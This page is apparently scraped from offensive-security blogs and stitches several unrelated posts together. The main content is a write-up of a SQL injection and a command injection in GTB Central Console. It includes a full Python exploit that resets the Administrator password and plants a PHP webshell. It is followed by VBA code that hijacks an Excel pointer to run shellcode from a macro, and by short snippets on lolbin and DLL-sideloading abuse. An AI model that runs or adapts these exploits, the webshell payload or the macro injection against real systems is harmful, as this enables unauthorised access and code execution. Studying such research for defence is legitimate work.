Nothing interesting. But… and here comes the plot twist: just below there is a method called setTermAction that is driving a DeLorean to bring back from the past a beautiful SQL injection:
publicfunctionsetTermsHashAction($request):array{$resource=self::initPgConnection();if(!$request['userId']){thrownew\Exception('update term hash failed. UserId not specified');}$query='
UPDATE users
SET term_hash = \''.($request['hash']??'').'\'
WHERE user_id = '.$request['userId'].';
';$res=pg_query($resource,$query);if($res===false){thrownew\Exception('update term hash failed.'.pg_last_error($resource));}@exec('sh /opt/webapp/shell/sync_users.sh');return['status'=>true,'hash'=>file_exists('/opt/webapp/data/terms/terms.html')?md5_file('/opt/webapp/data/terms/terms.html'):'',];}
Because I was not sure if I could update two columns at same time in postgresql, I had to ask to my friend @xassiz and he confirmed it was possible. So we have the next injection:
Is there any column worth to be updated? (well… the table is called users so I guess you know how this will end, but not spoilers). Let’s find how to connect to the database:
[root@pwned webapp]# grep-ri psql | grep sh
ccup: /usr/bin/psql -p$POSTGRES_PORT-U postgres postgres -c"ALTER USER \"$DB_NAME\" WITH PASSWORD 'dashboard';"> /dev/null
ccup: /usr/bin/psql -p$POSTGRES_PORT-U postgres postgres -c"CREATE USER \"$DB_NAME\" WITH PASSWORD 'dashboard';"> /dev/null
ccup: /usr/bin/psql -t-p$POSTGRES_PORT-U postgres postgres -c"SELECT datname FROM pg_database WHERE datistemplate = false AND datname LIKE 'dashboard%';"
ccup: /usr/bin/psql -p$POSTGRES_PORT-U postgres postgres -c"ALTER USER \"$DB_NAME\" WITH PASSWORD 'dashboard';"
rpm_install/cc.service.functions: psql -U dashboard -d dashboard -c"ALTER TABLE events SET WITHOUT OIDS;ALTER TABLE inspector_event SET WITHOUT OIDS;"> /dev/null
rpm_install/cc.service.functions.uninstall: psql -U dashboard -d dashboard -c"ALTER TABLE events SET WITHOUT OIDS;ALTER TABLE inspector_event SET WITHOUT OIDS;"> /dev/null
shell/set_timezone:POSTGRES_VERSION=`/usr/bin/psql --version | awk'{print $3}' | awk-F'.''{print $1}'`
shell/manage_address.sh: /usr/bin/psql -q-t-p 17023 -U postgres dashboard -c"INSERT INTO configuration_network (id, dns_server) SELECT 16, '$_ADDRESS' WHERE NOT EXISTS (SELECT id FROM configuration_network WHERE id = 16);"
shell/manage_address.sh: /usr/bin/psql -q-t-p 17023 -U postgres dashboard -c"UPDATE configuration_network SET dns_server = '$_ADDRESS' WHERE id = 16 AND dns_server='';"
shell/manage_address.sh: _fp_storage=`/usr/bin/psql -q-t-p 17023 -U postgres dashboard -c"SELECT dbhost FROM scan_config_fpstorage;" | head-1 | sed-e"s/[\"\'\t]//g"`
shell/manage_address.sh: /usr/bin/psql -q-t-p 17023 -U postgres dashboard -c"UPDATE scan_config_fpstorage SET dbhost='$_ADDRESS';"
shell/manage_address.sh: _ADDRESS=`/usr/bin/psql -q-t-p 17023 -U postgres "dashboard"-c"SELECT dns_server FROM configuration_network WHERE id = 16;" | sed'/^$/d' | sed-e"s/[\"\'\t]//g"`
shell/manage_address.sh: echo"Address in the database = "`/usr/bin/psql -q-t-p 17023 -U postgres "dashboard"-c"SELECT dns_server FROM configuration_network WHERE id = 16;" | sed'/^$/d' | sed-e"s/[\"\'\t]//g"`
src/AppBundle/Service/Backup.php: exec('/usr/bin/psql -p 17023 -U postgres postgres -c "CREATE DATABASE '.$this->postgresDB .' WITH OWNER = dashboard;" 2>&1', $output, $return_var);
src/AppBundle/Service/Backup.php: '/usr/bin/psql -p 17023 -U postgres postgres -d dashboard -c "DELETE FROM agents WHERE is_installed=true" 2>&1',
src/AppBundle/Service/Backup.php: exec('/usr/bin/psql -p 17023 -U postgres postgres -c "ALTER USER '.$this->postgresDB .' WITH PASSWORD \'dashboard\'" 2>&1', $output, $return_var);
src/AppBundle/Service/Backup.php: exec('/usr/bin/psql -p 17023 -U postgres postgres -c "ALTER USER ' . $this->postgresDB . ' WITH PASSWORD \'dashboard\'" 2>&1', $output, $return_var);
We can see the the password is stored in a format that is hypertensive-friendly because it does not use salt. This hash is just the md5 of password@@@.
Quick recap: in 10 minutes after the jailbreak I found a unauthenticated SQL injection that can be used to replace the Administrator password to a known value. The exploit is simple as:
/ccapi.php?action=setTermsHash&userId=1&hash=pwned',passwd%3d'[MD5 of the password you want to use]
3rd movement: Oda to Command Injections
All these exec(), system() and passthru() combined with bash scripts makes this a chronicle of a death foretold. I just did a grep and picked the one that looked easier to exploit (/opt/webapp/src/AppBundle/Controller/React/SystemSettingsController.php):
Easy to exploit as whatever; my-payload. Unfortunately to interact with this endpoint you need to be authenticated as Administrator. Imagine if you had a vulnerability that would let you replace the Administrator to a known value and then authenticate as him. Oh, wait!.
Coda
This is a simple proof of concept that chains both vulnerabilities to create a webshell in the server.
#!/usr/bin/env python3
# Exploit for GTB Central Console (tested on v15.17.1-30814.NG)
# Author: Juan Manuel Fernandez (@TheXC3LL)
importsysimportrequestsimportjsonif__name__=="__main__":target=sys.argv[1]pwd="196989cdcb8bf751d0513388f30f4783"# xc3ll
# Exploit Pre-auth SQLi
print("[*] Exploiting the SQLi...")req=requests.get(target+"/ccapi.php?action=setTermsHash&userId=1&hash=pwned',passwd%3d'"+pwd,verify=False)ifnot"true"inreq.text:print("[!] Error. Exploit failed!\n")exit(-1)print("[*] Password updated to 'xc3ll'!")# Attempt to login
print("[*] Getting a valid session using the new credentials...")form={"_username":(None,"Administrator"),"_password":(None,"xc3ll")}headers={"X-Sess-Token":"pwned"}req=requests.post(target+"/old/login",files=form,headers=headers,verify=False)if"error"inreq.text:print("[!] Error. Could not authenticate with 'Administrator:xc3ll'")exit(-1)session=json.loads(req.text)["session"]print("[*] Authenticated! session is "+session)# Let's exploit the command injection
print("[*] Exploiting the command injection...")payload='{"dnsServerIps":"8.8.8.8","cc_name":"","host_name":"adeptsof0xcc; echo PD9waHAgc3lzdGVtKCRfR0VUWyJyY2UiXSk7Pz4K| base64 -d > /opt/webapp/web/pwned.php"}'form={"xaction":(None,"update"),"data":(None,payload)}headers={"Cookie":"symfony="+session+"; session="+session,}req=requests.post(target+"/old/react/v1/api/system/dns/data",files=form,headers=headers,verify=False)ifnot"true"inreq.text:print("[!] Error. Exploit failed!\n")exit(-1)print("[*] Seems like the webshell was uploaded to "+target+"/pwned.php")print("[*] Testing with 'id'...")req=requests.get(target+"/pwned.php?rce=id",verify=False)ifnot"nginx"inreq.text:print("[!] Error. Exploit failed!\n")print("[*] It worked! Check output:\n\n"+req.text)print("\n\nHave a nice day ^_^")
Fire in the hole!
EoF
I know both vulnerabilities are trivial to spot and to exploit, and indeed it was a quick quest: 30 minutes to jailbreak it, 10 minutes to spot the SQLi and 10 minutes to spot the command injection.
But keep this in mind: this platform, and other similars, are widely deployed in corporative infrastructure. Tons of companies run products without knowning how insecure they are just because they are black-boxes that nobody wastes time to check. Most of cyber-cyber-cyber products are just clusterfucks of scripts in bash, perl, python or PHP combined with duct tape waiting to be pwned.
We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.
In my post from 2018 I listed a number of strategies one can use to ‘find interesting stuff’ – that post was heavily focused on Windows’ persistence mechanisms… Today Dominik posted this twit: eliminate your self defeatist attitudes to which … Continue reading →
ScriptRunner.exe is a known lolbin, but the Lolbas project doesn’t cover all of this program’s features. Timeout It can execute child processes and kill them after a certain timeout f.ex.: ScriptRunner.exe -appvscript cmd.exe -appvscriptrunnerparameters -timeout=5 Multiple invocations It can execute … Continue reading →
Dear Fellowlship, today’s homily is about an epiphany one of our owls had a couple of weekends ago: an alternative way for running shellcodes in macros. Please, take a seat and listen the story.
Prayers at the foot of the Altar a.k.a. disclaimer
I am writing this article because I had fun last weekend researching this and wanted to share my findings. Maybe this could be useful to someone, but to be honest my only intention is to use this post as a note to myself in the future. Keep in mind this is just a proof of concept.Also, if you are going to replicate anything explained here you need to place the code AS A NEW MODULE.
All roads lead to Rome
Generally speaking, to a greater or lesser degree, any macro designed to self-inject a shellcode inside its own process would follow the next steps:
Allocate memory
Copy the shellcode
Set perms
Trigger execution
Of course this is just an extremely summarized view of how this kind of macros works. In our times, where Initial Access has became far more difficult than 5 years ago, additional stuff is needed to setup the injection: unhooking, syscalling, etc.
My previous article about VBA (“VBA: resolving exports in runtime without NtQueryInformationProcess or GetProcAddress”) was based on the premise of being less explicit in the functions that are imported from DLLs. Or, to be more precise, to avoid as much as possible leaving traces in the code of what the macro does. In this case, we reduced as much as necessary and built everything with RtlMoveMemory and DispCallFunc
My quest now takes me down the path of trying to get code execution from an arbitrary memory address without using any of the functions documented by Nootrak.
The art of taming pointers
In essence, if our goal is to get a shellcode executed in the context of our process… Isn’t that exactly what exploiting does? In the end, what we need is to hijack the natural flow of the program so that the execution deviates from its natural course and jumps into our immaculate and perfumed shellcode.
Therefore, the easiest thing to do would be to locate some pointer that we can overwrite that would be used later. But… memory space is dark and full of terrors. How can we find such a thing when VBA holds us captive in its prison?
Let’s reuse part of the code from our previous post:
' The "declares" are needed to keep the layout. It's a long storyPrivateDeclarePtrSafeSubCopyMemoryLib"KERNEL32"Alias"RtlMoveMemory"(_ByValDestinationAsLongPtr,_ByValSourceAsLongPtr,_ByValLengthAsLong)PrivateDeclarePtrSafeFunctionNtCloseLib"ntdll"(ByValObjectHandleAsLongPtr)AsLongDimaAsLongPtrFunctionleak()AsLongPtra=1337leak=VarPtr(a)EndFunctionSubtest()Cells(1,1)="0x"&Hex(leak)EndSub
If we check the address we can see there are a few pointers near:
To check if any of them were interesting I got a little playful and overwrote them with rubbish to see if Excel would crash because it tried to execute memory at an invalid address. And the best candidate so far was the one highlighted in dark blue/black: 0x02238f....
If we check that address we can see there is another pointer there:
And at that location we got an array of pointers to functions in Excel.
If you follow the execution with the debugger you would see that the previous pointer is just the address of the array base, and then it uses an offset to jump to any of the pointers in the array. In this case, it always end jumping at 0xB0. Summarized:
And to perform the hijack we need something like:
We need a buffer of data controlled by us, then place at 0xB0inside the buffer the address where the shellcode is going to be (it can be placed just after the address, so it would be at buffer address + 0xB0 + 8).
At this point you should be thinking something like “but we need to turn the buffer into executable memory”. And you are right, except by the fact that you can find memory with R/W/X perms inside Excel process :)
Who wants to marry my shellcode?
So here comes the second part of the post.
To recap we found a reliable way to hijack the program flow in order to jump to whatever we want. And whatever we want is a memory zone that let us write and execute. If we use VirtualQuery we can see that indeed we can find some allocations that fits our needs.
If you execute more dummy functions before you would see that the number of suitable allocations is increased.
Keep in mind this is being used by the program, so overwriting it could end in a crash because you corrupted the heap or any data that the program would use later. Be careful, the best is trying to find a region full of zeroes and place there your shellcode. Unfortunately I barely found a region big enough and in all my tests I had to split the shellcode in smaller parts.
If we glue all together:
PrivateTypeMEMORY_BASIC_INFORMATIONBaseAddressAsLongPtrAllocationBaseAsLongPtrAllocationProtectAsLongRegionSizeAsLongPtrStateAsLongProtectAsLonglTypeAsLongEndTypePrivateDeclarePtrSafeFunctionVirtualQueryLib"KERNEL32"(ByVallpAddressAsLongPtr,lpBufferAsMEMORY_BASIC_INFORMATION,ByValdwLengthAsLongPtr)AsLongPtrPrivateDeclarePtrSafeSubCopyMemoryLib"KERNEL32"Alias"RtlMoveMemory"(_ByValDestinationAsLongPtr,_ByValSourceAsLongPtr,_ByValLengthAsLong)PrivateDeclarePtrSafeFunctionNtCloseLib"ntdll"(ByValObjectHandleAsLongPtr)AsLongDimaAsLongPtrFunctionleak()AsLongPtrDimfuncLeakAsLongPtrDimiAsLongPtrDimjAsLongFori=0To512Step8CallCopyMemory(VarPtr(funcLeak),VarPtr(a)+i,8)IfLeft(Hex(funcLeak),4)=Left(Hex(VarPtr(a)),4)ThenCells(2,2)="0x"&Hex(funcLeak)Cells(2,1)="0x"&Hex(VarPtr(a))ExitForEndIfNextileak=funcLeakEndFunctionFunctiongetTarget(counterAsLongPtr)AsLongPtrDimmbiAsMEMORY_BASIC_INFORMATIONDimretAsLongPtrDimdwLenghtAsLongPtrDimaddrAsLongPtrDimcheckAsLongPtrDimjAsLongPtrDimkAsLongPtrDimnapaAsLongPtraddr=0check=1337Fori=counterTo10000ret=VirtualQuery(addr,mbi,LenB(mbi))Ifmbi.Protect=64Andmbi.RegionSize>1024ThenForj=0Tombi.RegionSize-100Step8napa=1Fork=0To48Step8CallCopyMemory(VarPtr(check),mbi.BaseAddress+j+k,8)Ifcheck<>0Thennapa=2EndIfNextkIfnapa=1ThengetTarget=mbi.BaseAddress+jExitForEndIfNextjExitForEndIfaddr=mbi.BaseAddress+mbi.RegionSizeNextiCells(1,1)="0x"+Hex(getTarget)EndFunctionSubtest()DimjmpAsLongPtrDimtargetAsLongPtrDimscAsLongPtrDimcheckAsLongPtrDimbufAsVariantDimiAsLongPtrjmp=leakcheck=0'204 == 0xCC 144 == 0x90buf=Array(144,144,144,144,144,204,204,204)target=getTarget(i)Iftarget<>0Thensc=target+8+&HB0Forn=LBound(buf)ToUBound(buf)CallCopyMemory(sc+n,VarPtr(buf(n))+8,8)NextnCallCopyMemory(target+&HB0,VarPtr(sc),8)CallCopyMemory(jmp,VarPtr(target),8)ElseMsgBox"Cave not found!"EndIfEndSub
All that glitters is not gold
This idea has tons of drawbacks. Although I have a reliable way to find the pointer to hijack, if I execute other stuff previously in the same process (e.g. a few innocent macros that do a lot of activity) sometimes (5%) the pointer I abuse is misplaced and I overwrite other that has no effect or it crashes the process.
On the other hand, it can be difficult to handle a big shellcode as it is really easy to overwrite something critical. I am pretty sure there is a way to find suitable regions and avoid this issue, but my knowledge is very light on these matters.
EoF
We hope you enjoyed this reading! Feel free to give us feedback at our twitter @AdeptsOf0xCC.
In my old post about certutil I mentioned that it accepts a number of less-known Unicode characters passed to its command line. Powershell accepting a number of Unicode characters representing “-” and its variations is a very well-known fact too. … Continue reading →
In my previous post I introduced the concept of bitmap hunting. Today I will show another example that helps to find a sequence of more than 2 events. Consider this artificially generated sequence of events: | makeresults | eval _time=_time … Continue reading →
Same as in the previous case, we can copy the main executable fondue.exe to a different folder f.ex. c:\test and start it from there, loading the c:\test\appwiz.cpl we control in the process.
I have mapped an extensive list of Chrome Plug-in IDs to their names before. Of course, I knew for a long time that I will need to take a look at Firefox Add-ons too…. And in fairness, I did… I … Continue reading →
One of the most annoying hunting exercises is detecting a sequence of failures followed by a success. Brute-force attacks, dictionary attacks, and finally password spray attacks have all this in common: lots of failures, sometimes followed by a success. The … Continue reading →
There is a number of .cpl files that can be loaded using their OS-native executable equivalents f.ex hdwwiz.exe loads hdwwiz.cpl. As such, we can copy hdwwiz.exe to a different folder f.ex. c:\test and load malicious hdwwiz.cpl from the very same … Continue reading →
The forfiles.exe program is a well-known lolbin. Its power comes from the /c command line argument that helps to specify a command that we want to execute for each item found by the program when it enumerates directories. The less … Continue reading →
The program has been changed since win10 and it now loads wdscore.dll almost immediately after it starts. Unfortunately, while it does so via LoadLibraryEx, the API is called in a way that is identical with calling LoadLibrary (both LoadLibraryEx arguments … Continue reading →
The program in the title of this post is not very well-known. It’s being used for some random Bluetooth stuff that not too many PC users care about (okay, it’s a bit of a stretch, but I guess it’s really … Continue reading →
In the past I wrote a few times about the side-effect of having 2 binaries named the same way and residing in respective System32 and SysWOW64 directories. Regsvr32.exe is not different. If you run a 32-bit Regsvr32.exe with a command … Continue reading →
There is an archaic feature that regsvr32.exe leverages to autoregister libraries associated with file extensions. For this to work, it expects an AutoRegister key to be present under the file extension handler with a default value pointing to the library … Continue reading →
When you execute 32-bit version of runonce.exe on a 64-bit version of Windows and pass to it the /RunOnceEx6432 argument you will make the program load iernonce.dll library and execute its RunOnceExProcess API… Since the iernonce.dll library is loaded using … Continue reading →